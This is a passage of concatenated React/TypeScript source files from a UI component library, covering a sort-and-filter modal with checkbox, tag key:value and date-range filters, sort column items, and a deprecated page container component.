from './button'\nimport { FilterCheckboxItem } from './filter-checkbox-item'\nimport { DateFilterPanel, type DateFilterResult, type DateRange } from './date-picker'\nimport { ModalV2, ModalV2Content, ModalV2Footer, ModalV2Header, ModalV2Title } from './modal-v2'\nimport { ScrollFadeOverlay, useScrollFade } from './scroll-fade'\nimport { Skeleton } from './skeleton'\nimport { SortColumnItem, type SortConfig, type SortDirection } from './sort-column-item'\nimport { TagKeyValueFilter, type TagKeyConfig } from './tag-key-value-filter'\nimport type { TableFilters } from './table/types'\n\n// Re-export sub-component types for consumers\nexport type { SortableColumn, SortConfig, SortDirection } from './sort-column-item'\nexport type { TagKeyConfig, TagValueOption } from './tag-key-value-filter'\n\nexport interface FilterModalOption {\n  id: string\n  label: string\n  count?: number\n}\n\nexport interface FilterGroup {\n  id: string\n  title: string\n  options: FilterModalOption[]\n}\n\nexport interface FilterModalProps {\n  isOpen: boolean\n  onClose: () => void\n  title?: string\n  filterGroups: FilterGroup[]\n  onFilterChange: (filters: TableFilters) => void\n  currentFilters?: TableFilters\n  resetButtonText?: string\n  applyButtonText?: string\n  className?: string\n  sortConfig?: SortConfig\n  onSort?: (column: string, direction: SortDirection) => void\n  onSortClear?: (column: string) => void\n  /** Tag key:value filter config. When provided, renders a key→value filter section */\n  tagFilterKeys?: TagKeyConfig[]\n  /** Currently selected tags in \"key:value\" format */\n  selectedTags?: string[]\n  /** Called when tag selection changes */\n  onTagsChange?: (tags: string[]) => void\n  /** Title for the tag keys section */\n  tagFilterTitle?: string\n  /** Show skeleton loading state */\n  isLoading?: boolean\n  /** Date sort + range filter rendered as the last section. Drafted with the\n   *  other filters and committed via `onChange` on Apply (defaults on Reset). */\n  dateFilter?: {\n    /** Section title. Defaults to 'Date'. */\n    title?: string\n    /** Applied sort direction. Defaults to `defaultSort`. */\n    sort?: SortDirection\n    /** Baseline sort direction restored by Reset. Defaults to 'desc'. */\n    defaultSort?: SortDirection\n    /** Applied date range. */\n    range?: DateRange\n    /** Minimum selectable date. */\n    fromDate?: Date\n    /** Maximum selectable date (e.g. today, to block future dates). */\n    toDate?: Date\n    /** Fired on Apply with the drafted values, and on Reset with the defaults. */\n    onChange: (result: DateFilterResult) => void\n  }\n  /** Text shown in empty state title */\n  emptyStateTitle?: string\n  /** Text shown in empty state description */\n  emptyStateDescription?: string\n}\n\nexport function FilterModal({\n  isOpen,\n  onClose,\n  title = 'Sort and Filter',\n  filterGroups,\n  onFilterChange,\n  currentFilters = {},\n  resetButtonText = 'Reset Filters',\n  applyButtonText = 'Apply Filters',\n  className,\n  sortConfig,\n  onSort,\n  onSortClear,\n  tagFilterKeys,\n  selectedTags,\n  onTagsChange,\n  tagFilterTitle,\n  dateFilter,\n  isLoading = false,\n  emptyStateTitle = 'No filters available',\n  emptyStateDescription = 'There are no filter options to display at the moment',\n}: FilterModalProps) {\n  const [selectedFilters, setSelectedFilters] = useState<TableFilters>(() => {\n    return { ...currentFilters }\n  })\n  const [pendingTags, setPendingTags] = useState<string[]>(selectedTags ?? [])\n\n  const dateDefaultSort: SortDirection = dateFilter?.defaultSort ?? 'desc'\n  const [draftDateSort, setDraftDateSort] = useState<SortDirection>(dateFilter?.sort ?? dateDefaultSort)\n  const [draftDateRange, setDraftDateRange] = useState<DateRange | undefined>(dateFilter?.range)\n\n  // Scroll shadows: bottom fade by default while content continues below,\n  // top fade once scrolled (same pattern as the chat lists).\n  const { scrollRef, fadeTop, fadeBottom, update: updateFade } = useScrollFade<HTMLDivElement>()\n\n  useEffect(() => {\n    if (isOpen) {\n      setSelectedFilters({ ...currentFilters })\n      setPendingTags(selectedTags ?? [])\n      setDraftDateSort(dateFilter?.sort ?? dateDefaultSort)\n      setDraftDateRange(dateFilter?.range)\n    }\n  }, [isOpen, JSON.stringify(currentFilters), JSON.stringify(selectedTags)])\n\n  const handleFilterToggle = (groupId: string, optionId: string, checked: boolean) => {\n    setSelectedFilters((prev: TableFilters) => {\n      const current = prev[groupId] || []\n      const updated = checked\n        ? current.includes(optionId) ? current : [...current, optionId]\n        : current.filter((id: string) => id !== optionId)\n\n      if (updated.length > 0) {\n        return { ...prev, [groupId]: updated }\n      }\n      const next = { ...prev }\n      delete next[groupId]\n      return next\n    })\n  }\n\n  const handleReset = () => {\n    onFilterChange({})\n    onTagsChange?.([])\n    dateFilter?.onChange({ sort: dateDefaultSort, range: undefined })\n    onClose()\n  }\n\n  const handleApply = () => {\n    onFilterChange(selectedFilters)\n    onTagsChange?.(pendingTags)\n    dateFilter?.onChange({ sort: draftDateSort, range: draftDateRange })\n    onClose()\n  }\n\n  const getColumnDirection = (columnKey: string): SortDirection | undefined => {\n    return sortConfig?.sortBy === columnKey ? sortConfig.sortDirection : undefined\n  }\n\n  const hasSort = !!sortConfig && sortConfig.columns.length > 0\n  const hasFilterGroups = filterGroups.length > 0\n  const hasTagFilter = !!tagFilterKeys && tagFilterKeys.length > 0 && !!onTagsChange\n  const isEmpty = !isLoading && !hasSort && !hasFilterGroups && !hasTagFilter && !dateFilter\n\n  return (\n    <ModalV2\n      isOpen={isOpen}\n      onClose={onClose}\n      className={cn('max-w-none max-h-[90vh]', className)}\n    >\n      <ModalV2Header>\n        <ModalV2Title>{title}</ModalV2Title>\n      </ModalV2Header>\n\n      <ModalV2Content\n        className={cn(\n          'flex-1 min-h-0 flex flex-col',\n          !isEmpty && 'md:bg-ods-bg md:border md:border-ods-border md:rounded-md md:px-3',\n        )}\n      >\n        <div className=\"relative flex-1 min-h-0 flex flex-col\">\n        <div\n          ref={scrollRef}\n          onScroll={updateFade}\n          className=\"flex-1 min-h-0 overflow-y-auto flex flex-col gap-4 md:py-3\"\n        >\n        {isLoading ? (\n          <>\n            {[0, 1].map((group) => (\n              <div key={group} className=\"flex flex-col gap-1\">\n                <Skeleton className=\"h-5 w-24\" />\n                <div className=\"rounded-md border border-ods-border overflow-hidden\">\n                  {[0, 1, 2].map((row) => (\n                    <div\n                      key={row}\n                      className=\"flex items-center gap-3 px-4 py-3 bg-ods-card border-b border-ods-border last:border-b-0\"\n                    >\n                      <Skeleton className=\"h-6 w-6 rounded-[6px] shrink-0\" />\n                      <Skeleton className=\"h-4 flex-1 max-w-[60%]\" />\n                      <Skeleton className=\"h-4 w-10 shrink-0\" />\n                    </div>\n                  ))}\n                </div>\n              </div>\n            ))}\n          </>\n        ) : isEmpty ? (\n          <div className=\"flex flex-col items-center justify-center gap-6 h-[240px] p-6\">\n            <Filter02Icon className=\"text-ods-text-secondary\" size={24} />\n            <div className=\"flex flex-col items-center text-center text-ods-text-secondary\">\n              <p className=\"text-h4\">\n                {emptyStateTitle}\n              </p>\n              <p className=\"text-h6\">\n                {emptyStateDescription}\n              </p>\n            </div>\n          </div>\n        ) : (\n          <>\n        {/* Sort columns */}\n        {sortConfig && sortConfig.columns.length > 0 && (\n          <div className=\"flex flex-col gap-1\">\n            <span className=\"text-h5 text-ods-text-secondary\">\n              {sortConfig.title || 'Sort By'}\n            </span>\n            <div className=\"rounded-md border border-ods-border overflow-hidden\">\n              {sortConfig.columns.map((column) => (\n                <SortColumnItem\n                  key={column.key}\n                  column={column}\n                  currentDirection={getColumnDirection(column.key)}\n                  onSort={(direction) => onSort?.(column.key, direction)}\n                  onClear={onSortClear ? () => onSortClear(column.key) : undefined}\n                />\n              ))}\n            </div>\n          </div>\n        )}\n\n        {/* Filter groups. A group with no options is skipped, not drawn as an\n            empty box: same rule the column funnels follow — a control that\n            cannot be used is worse than no control. */}\n        {filterGroups.map((group) => {\n          if (group.options.length === 0) return null\n          const groupSelection = selectedFilters[group.id] || []\n          return (\n            <div key={group.id} className=\"flex flex-col gap-1\">\n              <span className=\"text-h5 text-ods-text-secondary\">\n                {group.title}\n              </span>\n              <div className=\"rounded-md border border-ods-border overflow-hidden\">\n                {group.options.map((option) => (\n                  <FilterCheckboxItem\n                    key={option.id}\n                    label={option.label}\n                    count={option.count}\n                    checked={groupSelection.includes(option.id)}\n                    onChange={(checked) => handleFilterToggle(group.id, option.id, checked)}\n                  />\n                ))}\n              </div>\n            </div>\n          )\n        })}\n\n        {/* Tag key:value filter */}\n        {tagFilterKeys && tagFilterKeys.length > 0 && onTagsChange && (\n          <TagKeyValueFilter\n            keys={tagFilterKeys}\n            selectedTags={pendingTags}\n            onTagsChange={setPendingTags}\n            keysTitle={tagFilterTitle}\n          />\n        )}\n        {/* Date sort + range filter */}\n        {dateFilter && (\n          <div className=\"flex flex-col gap-1\">\n            <span className=\"text-h5 text-ods-text-secondary\">\n              {dateFilter.title ?? 'Date'}\n            </span>\n            <DateFilterPanel\n              mode=\"range\"\n              sort={draftDateSort}\n              onSortChange={setDraftDateSort}\n              selected={draftDateRange}\n              onSelect={(value) => setDraftDateRange(value as DateRange | undefined)}\n              fromDate={dateFilter.fromDate}\n              toDate={dateFilter.toDate}\n              className=\"gap-[var(--spacing-system-xxs)]\"\n            />\n          </div>\n        )}\n          </>\n        )}\n        </div>\n\n        {/* Scroll shadows over the filter list edges */}\n        <ScrollFadeOverlay edge=\"top\" visible={fadeTop} />\n        <ScrollFadeOverlay edge=\"bottom\" visible={fadeBottom} />\n        </div>\n      </ModalV2Content>\n\n      <ModalV2Footer>\n        <Button variant=\"outline\" className=\"flex-1 h-11\" onClick={handleReset}>\n          {resetButtonText}\n        </Button>\n        <Button variant=\"accent\" className=\"flex-1 h-11\" onClick={handleApply}>\n          {applyButtonText}\n        </Button>\n      </ModalV2Footer>\n    </ModalV2>\n  )\n}\n","\"use client\"\n\nimport * as CheckboxPrimitive from \"@radix-ui/react-checkbox\"\nimport { cn } from \"../../utils/cn\"\nimport { CheckboxCheckmarkIcon } from \"../icons-v2-generated/signs-and-symbols/checkbox-checkmark-icon\"\n\nexport interface FilterCheckboxItemProps {\n  label: string\n  checked: boolean\n  onChange: (checked: boolean) => void\n  count?: number\n  className?: string\n}\n\nexport function FilterCheckboxItem({\n  label,\n  checked,\n  onChange,\n  count,\n  className,\n}: FilterCheckboxItemProps) {\n  return (\n    <div\n      className={cn(\n        \"flex items-center gap-3 bg-ods-card border-b border-ods-border last:border-b-0\",\n        \"cursor-pointer transition-colors hover:bg-ods-bg-hover\",\n        count !== undefined ? \"px-4 py-3\" : \"p-3\",\n        className,\n      )}\n      onClick={() => onChange(!checked)}\n    >\n      <CheckboxPrimitive.Root\n        checked={checked}\n        onCheckedChange={(c) => onChange(c === true)}\n        className={cn(\n          \"h-6 w-6 shrink-0 rounded-[6px] border-2\",\n          \"focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent\",\n          checked\n            ? \"bg-ods-accent border-ods-accent\"\n            : \"bg-ods-card border-ods-text-secondary\",\n        )}\n        onClick={(e) => e.stopPropagation()}\n      >\n        <CheckboxPrimitive.Indicator className=\"flex items-center justify-center text-ods-text-on-accent\">\n          <CheckboxCheckmarkIcon size={10} />\n        </CheckboxPrimitive.Indicator>\n      </CheckboxPrimitive.Root>\n      <span className=\"flex-1 text-h4 text-ods-text-primary\">\n        {label}\n      </span>\n      {count !== undefined && (\n        <span className=\"text-h5 text-ods-text-secondary shrink-0\">\n          {count.toLocaleString()}\n        </span>\n      )}\n    </div>\n  )\n}\n","\"use client\"\n\nimport { cn } from \"../../utils/cn\"\nimport { Arrow01DownIcon, Arrow01UpIcon, SwitchVrIcon } from \"../icons-v2-generated\"\n\nexport interface SortableColumn {\n  key: string\n  label: string\n  sortKey?: string\n}\n\nexport type SortDirection = \"asc\" | \"desc\"\n\nexport interface SortConfig {\n  columns: SortableColumn[]\n  sortBy?: string\n  sortDirection?: SortDirection\n  title?: string\n}\n\nexport interface SortColumnItemProps {\n  column: SortableColumn\n  currentDirection?: SortDirection\n  onSort: (direction: SortDirection) => void\n  onClear?: () => void\n}\n\nexport function SortColumnItem({ column, currentDirection, onSort, onClear }: SortColumnItemProps) {\n  const handleClick = () => {\n    if (!currentDirection) {\n      onSort(\"asc\")\n    } else if (currentDirection === \"asc\") {\n      onSort(\"desc\")\n    } else {\n      if (onClear) {\n        onClear()\n      } else {\n        onSort(\"asc\")\n      }\n    }\n  }\n\n  const getSortIcon = () => {\n    if (currentDirection === \"asc\") {\n      return <Arrow01UpIcon className=\"w-4 h-4 text-ods-accent\" />\n    }\n    if (currentDirection === \"desc\") {\n      return <Arrow01DownIcon className=\"w-4 h-4 text-ods-accent\" />\n    }\n    return <SwitchVrIcon className=\"w-4 h-4 text-ods-text-secondary\" />\n  }\n\n  return (\n    <div\n      onClick={handleClick}\n      className={cn(\n        \"flex items-center justify-between gap-2 p-3 bg-ods-card w-full\",\n        \"cursor-pointer transition-colors hover:bg-ods-bg-hover text-left\",\n        \"border-b border-ods-border last:border-b-0\",\n      )}\n    >\n      <span className={cn(\n        \"flex-1 text-h4\",\n        currentDirection ? \"text-ods-text-primary\" : \"text-ods-text-secondary\",\n      )}>\n        {column.label}\n      </span>\n      {getSortIcon()}\n    </div>\n  )\n}\n","\"use client\"\n\nimport { useMemo } from \"react\"\n\nimport { cn } from \"../../utils/cn\"\nimport { FilterCheckboxItem } from \"./filter-checkbox-item\"\n\n// ---------------------------------------------------------------------------\n// Types\n// ---------------------------------------------------------------------------\n\nexport interface TagValueOption {\n  id: string\n  label: string\n  count?: number\n}\n\nexport interface TagKeyConfig {\n  /** Unique key identifier, used as prefix in tags (e.g. \"site\" → \"site:chicago\") */\n  key: string\n  /** Display label for the key */\n  label: string\n  /** Available values for this key */\n  values: TagValueOption[]\n}\n\nexport interface TagKeyValueFilterProps {\n  /** Available tag keys with their values */\n  keys: TagKeyConfig[]\n  /** Currently selected tags in \"key:value\" format */\n  selectedTags: string[]\n  /** Called when tags change */\n  onTagsChange: (tags: string[]) => void\n  /** Title for the keys block. Default \"Tag Keys\" */\n  keysTitle?: string\n  /** Custom className */\n  className?: string\n}\n\n// ---------------------------------------------------------------------------\n// Main component\n// ---------------------------------------------------------------------------\n\nexport function TagKeyValueFilter({\n  keys,\n  selectedTags,\n  onTagsChange,\n  keysTitle = \"Tag Keys\",\n  className,\n}: TagKeyValueFilterProps) {\n  // Parse selected tags → { \"site\": Set([\"chicago\"]), \"env\": Set([\"production\"]) }\n  const selectedMap = useMemo(() => {\n    const map = new Map<string, Set<string>>()\n    for (const tag of selectedTags) {\n      const colonIdx = tag.indexOf(\":\")\n      if (colonIdx === -1) continue\n      const key = tag.slice(0, colonIdx)\n      const value = tag.slice(colonIdx + 1)\n      if (!map.has(key)) map.set(key, new Set())\n      map.get(key)!.add(value)\n    }\n    return map\n  }, [selectedTags])\n\n  // Which keys are \"active\" (checked in the keys list)\n  const activeKeys = useMemo(() => {\n    return new Set(selectedMap.keys())\n  }, [selectedMap])\n\n  // Toggle a key on/off — when unchecked, remove ALL values for that key\n  const handleKeyToggle = (key: string, checked: boolean) => {\n    if (checked) {\n      // Add a marker so the section appears even with no values checked\n      onTagsChange([...selectedTags, `${key}:`])\n    } else {\n      // Remove all tags that start with this key\n      onTagsChange(selectedTags.filter((t) => !t.startsWith(`${key}:`)))\n    }\n  }\n\n  // Toggle a specific value\n  const handleValueToggle = (key: string, valueId: string, checked: boolean) => {\n    const tag = `${key}:${valueId}`\n    if (checked) {\n      // Remove the empty marker if it exists, add the real value\n      const cleaned = selectedTags.filter((t) => t !== `${key}:`)\n      onTagsChange([...cleaned, tag])\n    } else {\n      const newTags = selectedTags.filter((t) => t !== tag)\n      // If no values left for this key, keep the empty marker so section stays visible\n      const hasOtherValues = newTags.some((t) => t.startsWith(`${key}:`) && t !== `${key}:`)\n      if (!hasOtherValues) {\n        onTagsChange([...newTags, `${key}:`])\n      } else {\n        onTagsChange(newTags)\n      }\n    }\n  }\n\n  // Keys that are checked → their value sections appear below\n  const activeKeyConfigs = keys.filter((k) => activeKeys.has(k.key))\n\n  return (\n    <div className={cn(\"flex flex-col gap-4\", className)}>\n      {/* ── Tag Keys checkbox list ── */}\n      <div className=\"flex flex-col gap-2\">\n        <span className=\"text-h5 text-ods-text-secondary tracking-[-0.28px] uppercase\">\n          {keysTitle}\n        </span>\n        <div className=\"rounded-[6px] border border-ods-border overflow-hidden\">\n          {keys.map((keyConfig) => (\n            <FilterCheckboxItem\n              key={keyConfig.key}\n              label={keyConfig.label}\n              checked={activeKeys.has(keyConfig.key)}\n              onChange={(checked) => handleKeyToggle(keyConfig.key, checked)}\n            />\n          ))}\n        </div>\n      </div>\n\n      {/* ── Value sections for each checked key ── */}\n      {activeKeyConfigs.map((keyConfig) => {\n        const selectedValues = selectedMap.get(keyConfig.key) ?? new Set()\n        return (\n          <div key={keyConfig.key} className=\"flex flex-col gap-2\">\n            <span className=\"text-h5 text-ods-text-secondary tracking-[-0.28px] uppercase\">\n              {keyConfig.label}\n            </span>\n            <div className=\"rounded-[6px] border border-ods-border overflow-hidden\">\n              {keyConfig.values.map((option) => (\n                <FilterCheckboxItem\n                  key={option.id}\n                  label={option.label}\n                  count={option.count}\n                  checked={selectedValues.has(option.id)}\n                  onChange={(checked) =>\n                    handleValueToggle(keyConfig.key, option.id, checked)\n                  }\n                />\n              ))}\n            </div>\n          </div>\n        )\n      })}\n    </div>\n  )\n}\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport type { ActionsMenuGroup } from '../ui/actions-menu'\nimport { PageActions, type PageActionButton } from '../ui/page-actions'\nimport { BackButton } from './back-button'\n\n// Legacy interface for backward compatibility (layout version)\ninterface LegacyPageContainerProps {\n  children: React.ReactNode;\n  className?: string;\n  /** Whether to apply full-width background to the entire section */\n  fullWidthBackground?: boolean;\n  /** Custom background style/className for the section wrapper */\n  backgroundClassName?: string;\n  /** Custom background style object */\n  backgroundStyle?: React.CSSProperties;\n  /** Custom padding for the content container (overrides default responsive padding) */\n  contentPadding?: string;\n  /** Custom max-width for the content container (default: max-w-[1920px]) */\n  maxWidth?: string;\n  /** HTML element type for the container */\n  as?: 'section' | 'div' | 'main' | 'article';\n  /** HTML id for the container */\n  id?: string;\n}\n\n// New advanced interface (UI version)\ninterface AdvancedPageContainerProps {\n  /**\n   * Page content\n   */\n  children: React.ReactNode\n  /**\n   * Page variant determines layout structure\n   */\n  variant?: 'list' | 'detail' | 'form' | 'content'\n  /**\n   * Page title (displayed as h1)\n   */\n  title?: string\n  /**\n   * Subtitle or description (supports both string and ReactNode)\n   */\n  subtitle?: string | React.ReactNode\n  /**\n   * Back button configuration\n   */\n  backButton?: {\n    label?: string\n    onClick: () => void\n  }\n  /**\n   * Header actions (buttons, controls, etc.)\n   * Can be used together with or instead of `actions` prop\n   */\n  headerActions?: React.ReactNode\n  /**\n   * Page action buttons configuration\n   * Automatically renders PageActions component with appropriate variant:\n   * - 'list' variant → 'icon-buttons' (collapses to menu on mobile)\n   * - 'detail'/'form' variants → 'primary-buttons' (fixed bottom on mobile)\n   */\n  actions?: PageActionButton[]\n  /**\n   * Override the automatically determined PageActions variant\n   */\n  actionsVariant?: 'icon-buttons' | 'primary-buttons' | 'menu-primary'\n  /**\n   * Page action menu items configuration\n   */\n  menuActions?: ActionsMenuGroup[]\n  /**\n   * Custom header content (overrides title/subtitle)\n   */\n  headerContent?: React.ReactNode\n  /**\n   * Container padding\n   */\n  padding?: 'none' | 'sm' | 'md' | 'lg'\n  /**\n   * Container background\n   */\n  background?: 'default' | 'card' | 'transparent'\n  /**\n   * Additional CSS classes for container\n   */\n  className?: string\n  /**\n   * Additional CSS classes for content area\n   */\n  contentClassName?: string\n  /**\n   * Whether to show the standard header section\n   */\n  showHeader?: boolean\n}\n\n// Union type that supports both interfaces\nexport type PageContainerProps = LegacyPageContainerProps | AdvancedPageContainerProps\n\n// Type guard to determine which interface is being used\nfunction isAdvancedProps(props: PageContainerProps): props is AdvancedPageContainerProps {\n  return 'variant' in props || 'title' in props || 'subtitle' in props || 'backButton' in props || 'headerActions' in props || 'headerContent' in props || 'showHeader' in props || 'contentClassName' in props || 'actions' in props || 'actionsVariant' in props\n}\n\n/**\n * @deprecated Use `PageLayout` from `'../layout/page-layout'` instead.\n *\n * Unified Page Container Component\n *\n * Supports both legacy layout patterns and advanced UI patterns:\n *\n * LEGACY USAGE (backward compatible):\n * <PageContainer backgroundClassName=\"bg-gray-100\">\n *   <h1>Your Content</h1>\n * </PageContainer>\n *\n * ADVANCED USAGE (new features):\n * <PageContainer variant=\"detail\" title=\"Page Title\" backButton={{onClick: () => {}}}>\n *   <div>Your Content</div>\n * </PageContainer>\n */\nexport function PageContainer(props: PageContainerProps) {\n  if (isAdvancedProps(props)) {\n    return renderAdvancedPageContainer(props)\n  } else {\n    return renderLegacyPageContainer(props)\n  }\n}\n\n// Legacy implementation (preserves original behavior exactly)\nfunction renderLegacyPageContainer({\n  children,\n  className = '',\n  fullWidthBackground = true,\n  backgroundClassName = 'bg-ods-bg',\n  backgroundStyle,\n  contentPadding,\n  maxWidth = 'max-w-[1920px]',\n  as: Component = 'section',\n  id\n}: LegacyPageContainerProps) {\n  const content = (\n    <div className={cn(maxWidth, contentPadding, 'mx-auto', className)}>\n      {children}\n    </div>\n  );\n\n  if (fullWidthBackground) {\n    return (\n      <Component \n        className={cn('w-full', backgroundClassName)} \n        style={backgroundStyle}\n        id={id}\n      >\n        {content}\n      </Component>\n    );\n  }\n\n  // If fullWidthBackground is false, apply background to content container only\n  return (\n    <Component className=\"w-full\" id={id}>\n      <div className={cn(maxWidth, contentPadding, 'mx-auto', backgroundClassName, className)} style={backgroundStyle}>\n        {children}\n      </div>\n    </Component>\n  );\n}\n\n// Advanced implementation (from UI component)\nfunction renderAdvancedPageContainer({\n  children,\n  variant = 'content',\n  title,\n  subtitle,\n  backButton,\n  headerActions,\n  headerContent,\n  actions,\n  actionsVariant,\n  menuActions,\n  padding = 'none',\n  background = 'transparent',\n  className,\n  contentClassName,\n  showHeader = true\n}: AdvancedPageContainerProps) {\n\n  // Determine PageActions variant based on page variant\n  const getActionsVariant = () => {\n    if (actionsVariant) return actionsVariant\n    // List pages use icon-buttons (collapses to menu on mobile)\n    if (variant === 'list') return 'icon-buttons'\n    // Detail/form pages use primary-buttons (fixed bottom on mobile)\n    return 'primary-buttons'\n  }\n\n  // Render actions component\n  const renderActions = () => {\n    if (!actions || actions.length === 0) return null\n    return <PageActions variant={getActionsVariant()} actions={actions} menuActions={menuActions} />\n  }\n\n  // Check if we need bottom padding for mobile fixed actions\n  const needsBottomPadding = actions && actions.length > 0 && getActionsVariant() === 'primary-buttons'\n  \n  const paddingClasses = {\n    none: '',\n    sm: 'p-4',\n    md: 'p-6',\n    lg: 'p-8'\n  }\n\n  const backgroundClasses = {\n    default: 'bg-ods-bg',\n    card: 'bg-ods-card',\n    transparent: ''\n  }\n\n  const renderHeader = () => {\n    if (!showHeader) return null\n    \n    if (headerContent) {\n      return (\n        <div className={cn(\n          \"flex items-end justify-between gap-4\"\n        )}>\n          {headerContent}\n        </div>\n      )\n    }\n\n    if (variant === 'detail') {\n      return (\n        <div className=\"flex items-end justify-between md:flex-col md:items-start md:justify-start lg:flex-row lg:items-end lg:justify-between gap-4\">\n          <div className=\"flex flex-col gap-2 flex-1 min-w-0\">\n            {/* Back Button */}\n            {backButton && (\n              <BackButton\n                onClick={backButton.onClick}\n                label={backButton.label}\n                className=\"hidden md:inline-flex\"\n              />\n            )}\n\n            {/* Title */}\n            {title && (\n              <h1 className=\"text-h2 text-ods-text-primary\">\n                {title}\n              </h1>\n            )}\n\n            {/* Subtitle */}\n            {subtitle && (\n              <div className=\"text-h6 text-ods-text-secondary\">\n                {subtitle}\n              </div>\n            )}\n          </div>\n\n          {/* Header Actions */}\n          {(headerActions || actions) && (\n            <div className=\"flex gap-2 items-center shrink-0\">\n              {headerActions}\n              {renderActions()}\n            </div>\n          )}\n        </div>\n      )\n    }\n\n    if (variant === 'list') {\n      return (\n        <div className=\"flex items-center justify-between md:flex-col md:items-start md:justify-start lg:flex-row lg:items-center lg:justify-between gap-4\">\n          <div className=\"flex flex-col gap-1 flex-1 min-w-0\">\n            {/* Back Button */}\n            {backButton && (\n              <BackButton\n                onClick={backButton.onClick}\n                label={backButton.label}\n                className=\"hidden md:inline-flex\"\n              />\n            )}\n\n            {title && (\n              <h1 className=\"text-h2 text-ods-text-primary\">\n                {title}\n              </h1>\n            )}\n            {subtitle && (\n              <div className=\"text-h6 text-ods-text-secondary\">\n                {subtitle}\n              </div>\n            )}\n          </div>\n\n          {/* Header Actions */}\n          {(headerActions || actions) && (\n            <div className=\"flex gap-3 items-center shrink-0\">\n              {headerActions}\n              {renderActions()}\n            </div>\n          )}\n        </div>\n      )\n    }\n\n    if (variant === 'form') {\n      return (\n        <div className=\"flex items-end justify-between md:flex-col md:items-start md:justify-start lg:flex-row lg:items-end lg:justify-between gap-4\">\n          <div className=\"flex flex-col gap-2 flex-1 min-w-0\">\n            {/* Back Button */}\n            {backButton && (\n              <BackButton\n                onClick={backButton.onClick}\n                label={backButton.label}\n                className=\"hidden md:inline-flex\"\n              />\n            )}\n\n            {title && (\n              <h1 className=\"text-h2 text-ods-text-primary\">\n                {title}\n              </h1>\n            )}\n          </div>\n\n          {/* Header Actions */}\n          {(headerActions || actions) && (\n            <div className=\"flex gap-4 items-center shrink-0\">\n              {headerActions}\n              {renderActions()}\n            </div>\n          )}\n        </div>\n      )\n    }\n\n    // Default content header\n    return (\n      <div className=\"flex items-center justify-between md:flex-col md:items-start md:justify-start lg:flex-row lg:items-center lg:justify-between gap-4\">\n        {(title || subtitle) && (\n          <div className=\"flex flex-col gap-1 flex-1 min-w-0\">\n            {title && (\n              <h1 className=\"text-h2 text-ods-text-primary\">\n                {title}\n              </h1>\n            )}\n            {subtitle && (\n              <div className=\"text-h6 text-ods-text-secondary\">\n                {subtitle}\n              </div>\n            )}\n          </div>\n        )}\n\n        {(headerActions || actions) && (\n          <div className=\"flex gap-3 items-center shrink-0\">\n            {headerActions}\n            {renderActions()}\n          </div>\n        )}\n      </div>\n    )\n  }\n\n  const getContainerClasses = () => {\n    const baseClasses = [\n      'flex flex-col w-full',\n      backgroundClasses[background],\n      paddingClasses[padding]\n    ]\n\n    switch (variant) {\n      case 'list':\n        return cn(baseClasses, 'gap-4 md:gap-6', className)\n      case 'detail':\n        return cn(baseClasses, 'gap-4 md:gap-6', className)\n      case 'form':\n        return cn(baseClasses, 'gap-6 md:gap-10', className)\n      case 'content':\n      default:\n        return cn(baseClasses, 'gap-4 md:gap-6', className)\n    }\n  }\n\n  const getContentClasses = () => {\n    // Add bottom padding on mobile when using primary-buttons variant (fixed bottom bar)\n    const mobilePadding = needsBottomPadding ? 'pb-28 md:pb-0' : ''\n\n    switch (variant) {\n      case 'detail':\n        return cn('flex-1 overflow-auto', mobilePadding, contentClassName)\n      case 'list':\n        return cn('flex flex-col gap-4 md:gap-6', mobilePadding, contentClassName)\n      case 'form':\n        return cn('flex flex-col gap-4 md:gap-10', mobilePadding, contentClassName)\n      case 'content':\n      default:\n        return cn('flex-1', mobilePadding, contentClassName)\n    }\n  }\n\n  return (\n    <div className={getContainerClasses()}>\n      {renderHeader()}\n      \n      <div className={getContentClasses()}>\n        {children}\n      </div>\n    </div>\n  )\n}\n\n/** @deprecated Use `PageLayout` from `'../layout/page-layout'` instead. */\nexport const ListPageContainer = (props: Omit<AdvancedPageContainerProps, 'variant'>) =>\n  <PageContainer {...props} variant=\"list\" />\n\n/** @deprecated Use `PageLayout` from `'../layout/page-layout'` instead. */\nexport const DetailPageContainer = (props: Omit<AdvancedPageContainerProps, 'variant'>) =>\n  <PageContainer {...props} variant=\"detail\" />\n\n/** @deprecated Use `PageLayout` from `'../layout/page-layout'` instead. */\nexport const FormPageContainer = (props: Omit<AdvancedPageContainerProps, 'variant'>) =>\n  <PageContainer {...props} variant=\"form\" />\n\n/** @deprecated Use `PageLayout` from `'../layout/page-layout'` instead. */\nexport const ContentPageContainer = (props: Omit<AdvancedPageContainerProps, 'variant'>) =>\n  <PageContainer {...props} variant=\"content\" />\n\n// Re-export PageActionButton type for convenience\nexport type { PageActionButton } from '../ui/page-actions'\n\n/** @deprecated Use `PageLayout` from `'../layout/page-layout'` instead. */\nexport default PageContainer;","'use client'\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { Chevron02DownIcon } from '../icons-v2-generated'\nimport { ActionsMenuDropdown, type ActionsMenuGroup, type ActionsMenuItem } from './actions-menu'\nimport type { ButtonProps, SplitButtonIconAction } from './button'\nimport { Button, SplitButton } from './button'\nimport { Skeleton } from './skeleton'\nimport { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from './tooltip'\n\nexport type PageActionButton = {\n  /** Button label. Omit to render an icon-only button. */\n  label?: string\n  /** Accessible name. Required for icon-only buttons (when `label` is omitted). */\n  ariaLabel?: string\n  /** Click handler. Optional when `href` or `submenu` is provided. */\n  onClick?: () => void\n  icon?: React.ReactNode\n  /** `overlay` is media chrome only — SplitButton has no divider colour for it. */\n  variant?: Exclude<ButtonProps['variant'], 'overlay' | 'glyph'>\n  disabled?: boolean\n  /**\n   * For SplitButton actions (when `iconAction` is set): disables only the main\n   * half. Combine with `iconAction.disabled` for icon-only disable. Ignored\n   * for non-SplitButton actions.\n   */\n  mainDisabled?: boolean\n  loading?: boolean\n  /** Show action only on mobile (below md). Default: visible on all screens. */\n  showOnlyMobile?: boolean\n  /**\n   * Render the desktop button as icon-only (label hidden, icon centered). The full\n   * label still appears in the mobile \"...\" dropdown. The desktop icon is forced to\n   * `text-ods-text-primary`; the mobile row keeps the caller-provided icon color.\n   */\n  iconOnlyOnDesktop?: boolean\n  /** Render as a link (next/link). Mutually exclusive with `submenu`. */\n  href?: string\n  /** Forwarded to next/link's prefetch. Only applies when `href` is set. */\n  prefetch?: boolean\n  /** Open link in a new tab. Only applies when `href` is set. */\n  openInNewTab?: boolean\n  